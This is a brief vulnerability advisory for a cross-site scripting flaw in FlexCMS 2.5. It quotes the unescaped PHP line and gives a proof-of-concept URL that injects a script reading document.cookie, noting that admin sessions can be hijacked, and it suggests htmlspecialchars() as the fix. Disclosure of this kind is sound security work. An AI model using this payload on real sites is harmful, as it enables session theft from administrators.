FlexCMS <= 2.5 Cross Site Scripting Vulnerability



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Script : FlexCMS <= 2.5

Type : Cross Site Scripting Vulnerability

Alert : Low

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Download From : http://www.flexcms.com/

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Discovered by : Khashayar Fereidani Or Dr.Crash

My Website : HTTP://FEREIDANI.IR

Team Website : Http://IRCRASH.COM

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

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Cross Site Scripting Vulnerability :

File Name : inc-core-admin-editor-previouscolorsjs.php

Vulnerable Variable : PreviousColorsString

Send Method : GET

Register_globals : On

Dangerous PHP Code (LINE 53) : print 'document.write(\''.$PreviousColorsString.'\');';

Address : http://example/inc-core-admin-editor-previouscolorsjs.php?PreviousColorsString=<script>alert(document.cookie)</script>

Attacker can hijack admin cookie with this vulnerability ....

Solution for patch : filter PreviousColorsString variable with htmlspecialchars() function ...


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Tnx : God

HTTP://IRCRASH.COM

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